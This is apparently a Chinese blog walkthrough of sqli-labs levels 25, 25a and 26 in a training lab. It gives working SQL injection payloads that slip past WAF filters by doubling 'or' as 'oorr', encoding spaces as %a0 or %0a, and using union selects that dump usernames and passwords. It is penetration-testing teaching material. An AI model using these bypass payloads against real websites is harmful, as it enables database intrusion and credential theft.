当前位置:网站首页>网络安全——过滤绕过注入
网络安全——过滤绕过注入
2022-07-24 13:32:00 【Beluga】
综合渗透测试-过滤绕过注入
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux

Windows 7

第二步,使用Kali Linux访问目标靶机sqli-labs靶场页面,第25关:
http://172.16.1.200/sqli-labs/Less-25

第三步,对第25关进行渗透测试:
1)测试基础SQL注入语句:
http://172.16.1.200/sqli-labs/Less-25/?id=1' #

2)使用井号注释失败,改为尝试“--+”进行测试:
http://172.16.1.200/sqli-labs/Less-25/?id=1' --+

显示用户名和密码:Dumb。
3)尝试爆出当前表的列数:
?id=1' order by 5 --+

通过返回结果,我们猜测“order”变成了“der”,是由于后台过滤了“or”,替换为了空值。
4)由于“or”被WAF过滤,我们将“or”改为"oorr"尝试,这样WAF在过滤一个“or”之后,还剩余一个“or”,我们将该方法成为“双写”:
?id=1' oorrder by 5 --+

成功,但显示第5列不存在。
5)查询是否存在第四列:
?id=1' oorrder by 4--+

第四列不存在。
6)查询是否存在第三列

第三列存在,证明当前表中有三个字段。
7)先测试字段的相对显示位置:
?id=1' union select 1,2,3 --+

我们的联合注入没有生效,仍然显示了ID为1的用户的信息。
8)将id修改为一个不存在的id,重新尝试注入:
?id=-1' union select 1,2,3 --+

注入成功,第2和第3字段分别是用户名和密码。
9)获取当前使用的数据库名:
?id=-1' union select 1,2,database() --+

得到当前使用的数据库名:security
10)从users表中分别读取username(用户名),password(密码)的值:
id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users --+
这里需要注意的是,“password”中包括“or”,需要双写为“passwoorrd”。

成功得到用户名和密码。
第四步,访问sqli-labs的第25a关卡:
http://172.16.1.200/sqli-labs/Less-25a

第五步,对第25a关卡进行注入测试:
1)首先测试是否可以通过ID读取用户信息:
http://172.16.1.200/sqli-labs/Less-25a/?id=1

可以读取用户信息。
2)尝试爆出字段相对位置:
?id=-1' union select 1,2,3#

未显示结果。
3)查看25a关卡的源代码(位于C:\AppServ\www\sqli-labs\Less-25a\index.php):

第35行,SQL语句中并未存在单引号,证明这是一个数字型注入。
4)尝试去掉单引号进行联合查询注入:
?id=-1 union select 1,2,3#

注入成功。
5)获取当前使用的数据库名:
?id=-1 union select 1,2,database() #

得到当前的数据库名:security。
6)从users表中分别读取username(用户名),password(密码)的值:
id=-1 union select 1,2,group_concat(username,0x7e,passwoorrd) from users #

成功得到用户名和密码。
第六步,访问sqli-labs的第26关卡:
http://172.16.1.200/sqli-labs/Less-26
![]()
第七步,对第26关卡进行注入测试:
1)先测试ID是否显示正常:
http://172.16.1.200/sqli-labs/Less-26/?id=1

2)查看第26关卡源代码(位于C:\AppServ\www\sqli-labs\Less-26\index.php):

通过审计源代码发现,第57行的blacklist方法将常见的SQL语句全部过滤为空。
从上面的过滤机制我们可以发现对“or”、“and”、“/*”、“#”、“--”“/”等特殊符号都进行了过滤,此处对于and和or的绕过方法就不再多说了,这里我们讲述几种技巧:
绕空格:
%09 | TAB键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | TAB键(垂直) |
%a0 | 空格 |
3)获取当前数据库:
?id=0'%a0union%a0select%a02,database(),4%a0||%a0'1'='1

4)获得用户名和密码:
?id=0%27%a0union%a0select%a02,(select%a0group_concat(concat_ws(%27-%27,id,username,passwoorrd))%a0from%a0users),4%a0||%a0%271%27=%271

边栏推荐
- 编写浏览器插件
- 为什么函数式接口 Comparator 中有 “两个抽象方法”?
- Copy of array and array address value
- SSM hospital inpatient management system
- [acm/ two points] two points clear entry-level explanation
- Is there any potential safety hazard for Xiaobai to open an account with Guotai Junan?
- 汉字风格迁移篇---无监督排版传输
- The MySQL select delay scenario corresponds to that all database query statements will be delayed. After the scenario injection, I executed one
- Go redis pipeline application
- 基于ABP实现DDD--实体创建和更新
猜你喜欢

Introduction to the use of thread (2) thread

About thread (5) thread pool

Activity start (launchactivity/startactivity)_ (1)_ WMS of flow chart

EAS environment structure directory
![[paper reading] temporary binding for semi-superior learning](/img/59/846d868cccad238267bd984f085218.png)
[paper reading] temporary binding for semi-superior learning

ESP32ADC
![[acm/ two points] two points clear entry-level explanation](/img/87/e4d58b7530bfc381ec07d7c76e90a1.png)
[acm/ two points] two points clear entry-level explanation

基于图正则化的贝叶斯宽度学习系统

Implementation of dynamic columns in EAS BOS doc list

The core capability of accelerating enterprise data application innovation flexibility
随机推荐
基于社会媒体数据增强的交通态势感知研究及进展
I realize large top stack with C I
Experience on how to improve the anti-interference of TTL (UART) communication
Windivert:可抓包,修改包
从云原生到智能化,深度解读行业首个「视频直播技术最佳实践图谱」
简易订单管理系统小练习
Group knowledge map: distributed knowledge transfer and federated map reasoning
Relevant laws of animation movement (judge where to move according to parameters)
Introduction to the use of thread (2) thread
LEADTOOLS 22 套件 LEADTOOLS 超级套
H5py Quick Start Guide
Speech processing based on MATLAB
如何用WebGPU流畅渲染百万级2D物体?
指针进阶部分(1)
Finclip's "applet export app" function has been updated again by the company
Are there any useful and free redis client tools recommended?
ICML2022 | 分支强化学习
Chinese character style transfer --- unsupervised typesetting transmission
HCIP第十三天
Icml2022 | branch reinforcement learning